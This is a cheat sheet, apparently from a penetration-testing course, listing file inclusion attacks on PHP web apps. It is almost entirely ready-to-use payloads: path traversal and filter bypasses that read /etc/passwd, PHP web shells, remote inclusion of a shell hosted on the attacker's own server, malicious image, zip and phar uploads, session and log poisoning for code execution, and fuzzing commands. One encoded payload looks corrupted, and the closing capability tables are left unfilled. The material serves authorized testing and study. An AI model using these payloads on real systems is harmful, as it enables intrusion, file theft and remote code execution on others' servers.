



## FILE INCLUSION

# CHEAT SHEET

### Local File Inclusion

Command	Description
Basic LFI	
<code>/index.php?language=/etc/passwd</code>	Basic LFI
<code>/index.php?language=../../../../etc/passwd</code>	LFI with path traversal
<code>/index.php?language=../../../../etc/passwd</code>	LFI with name prefix
<code>/index.php?language=./languages/../../../../etc/passwd</code>	LFI with approved path
LFI Bypasses	
<code>/index.php?language=.....//.....//.....//etc/passwd</code>	Bypass basic path traversal filter
<code>/index.php?language=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64</code>	Bypass filters with URL encoding
<code>/index.php?language=non_existing_directory/../../../../etc/passwd/../../../../[./REPEATED ~2048 times]</code>	Bypass appended extension with path truncation (obsolete)
<code>/index.php?language=../../../../etc/passwd%00</code>	Bypass appended extension with null byte (obsolete)
<code>/index.php?language=php://filter/read=convert.base64-encode/resource=config</code>	Read PHP with base64 filter

# Remote Code Execution

Command	Description
PHP Wrappers	
<code>/index.php?language=data://text/plain;base64,PD9waHAga3lzdGVtKCRfR0VUWyJjbWQiXSsk7ID8%2BCg%3D%3D&amp;cmd=id</code>	RCE with data wrapper
<code>curl -s -X POST --data '&lt;?php system(\$_GET["cmd"]); ?&gt;' "http://&lt;SERVER_IP&gt;:&lt;PORT&gt;/index.php?language=php://input&amp;cmd=id"</code>	RCE with input wrapper
<code>curl -s "http://&lt;SERVER_IP&gt;:&lt;PORT&gt;/index.php?language=expect://id"</code>	RCE with expect wrapper
RFI	
<code>echo '&lt;?php system(\$_GET["cmd"]); ?&gt;' &gt; shell.php &amp;&amp; python3 -m http.server &lt;LISTENING_PORT&gt;</code>	Host web shell
<code>/index.php?language=http://&lt;OUR_IP&gt;:&lt;LISTENING_PORT&gt;/shell.php&amp;cmd=id</code>	Include remote PHP web shell
LFI + Upload	
<code>echo 'GIF8&lt;?php system(\$_GET["cmd"]); ?&gt;' &gt; shell.gif</code>	Create malicious image
<code>/index.php?language=./profile_images/shell.gif&amp;cmd=id</code>	RCE with malicious uploaded image
<code>echo '&lt;?php system(\$_GET["cmd"]); ?&gt;' &gt; shell.php &amp;&amp; zip shell.jpg shell.php</code>	Create malicious zip archive 'as jpg'

Command	Description
<code>/index.php?language=zip://shell.zip%23shell.php&amp;cmd=id</code>	RCE with malicious uploaded zip
<code>php --define Phar.readonly=0 shell.php &amp;&amp; mv shell.phar shell.jpg</code>	Create malicious phar 'as jpg'
<code>/index.php?language=phar:../../profile_images/shell.jpg%2Fshell.txt&amp;cmd=id</code>	RCE with malicious uploaded phar

### Log Poisoning

<code>/index.php?language=/var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkd19u1fdsd</code>	Read PHP session parameters
<code>/index.php?language=%3C%3Fphp%20system%28%24_GET%5B%22cmd%22%5D%29%3B%3F%3E</code>	Poison PHP session with web shell
<code>/index.php?language=/var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkd19u1fdsd&amp;cmd=id</code>	RCE through poisoned PHP session
<code>curl -s "http://&lt;SERVER_IP&gt;:&lt;PORT&gt;/index.php" -A '&lt;?php system(\$_GET["cmd"]); ?&gt;'</code>	Poison server log
<code>/index.php?language=/var/log/apache2/access.log&amp;cmd=id</code>	RCE through poisoned PHP session

### Misc

Command	Description
---------	-------------

Command	Description
<code>ffuf -w /opt/useful/SecLists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u 'http://&lt;SERVER_IP&gt;:&lt;PORT&gt;/index.php?FUZZ=value' -fs 2287</code>	Fuzz page parameters
<code>ffuf -w /opt/useful/SecLists/Fuzzing/LFI/LFI-Jhaddix.txt:FUZZ -u 'http://&lt;SERVER_IP&gt;:&lt;PORT&gt;/index.php?language=FUZZ' -fs 2287</code>	Fuzz LFI payloads
<code>ffuf -w /opt/useful/SecLists/Discovery/Web-Content/default-web-root-directory-linux.txt:FUZZ -u 'http://&lt;SERVER_IP&gt;:&lt;PORT&gt;/index.php?language=../../../../FUZZ/index.php' -fs 2287</code>	Fuzz webroot path
<code>ffuf -w ./LFI-WordList-Linux:FUZZ -u 'http://&lt;SERVER_IP&gt;:&lt;PORT&gt;/index.php?language=../../../../FUZZ' -fs 2287</code>	Fuzz server configurations

[LFI Wordlists](#)

[LFI-Jhaddix.txt](#)

[Webroot path wordlist for Linux](#)

[Webroot path wordlist for Windows](#)

[Server configurations wordlist for Linux](#)

[Server configurations wordlist for Windows](#)

## File Inclusion Functions

Function	Read Content	Execute	Remote URL
PHP			
<code>include()/include_once()</code>	☐	☐	☐
<code>require()/require_once()</code>	☐	☐	☐
<code>file_get_contents()</code>	☐	☐	☐
<code>fopen()/file()</code>	☐	☐	☐

NodeJS



Function	Read Content	Execute	Remote URL
<code>fs.readFile()</code>	<input type="checkbox"/>	<input type="checkbox"/>	<input type="checkbox"/>
<code>fs.sendFile()</code>	<input type="checkbox"/>	<input type="checkbox"/>	<input type="checkbox"/>
<code>res.render()</code>	<input type="checkbox"/>	<input type="checkbox"/>	<input type="checkbox"/>
Java			
<code>include</code>	<input type="checkbox"/>	<input type="checkbox"/>	<input type="checkbox"/>
<code>import</code>	<input type="checkbox"/>	<input type="checkbox"/>	<input type="checkbox"/>
.NET			
<code>@Html.Partial()</code>	<input type="checkbox"/>	<input type="checkbox"/>	<input type="checkbox"/>
<code>@Html.RemotePartial()</code>	<input type="checkbox"/>	<input type="checkbox"/>	<input type="checkbox"/>
<code>Response.WriteFile()</code>	<input type="checkbox"/>	<input type="checkbox"/>	<input type="checkbox"/>
<code>include</code>	<input type="checkbox"/>	<input type="checkbox"/>	<input type="checkbox"/>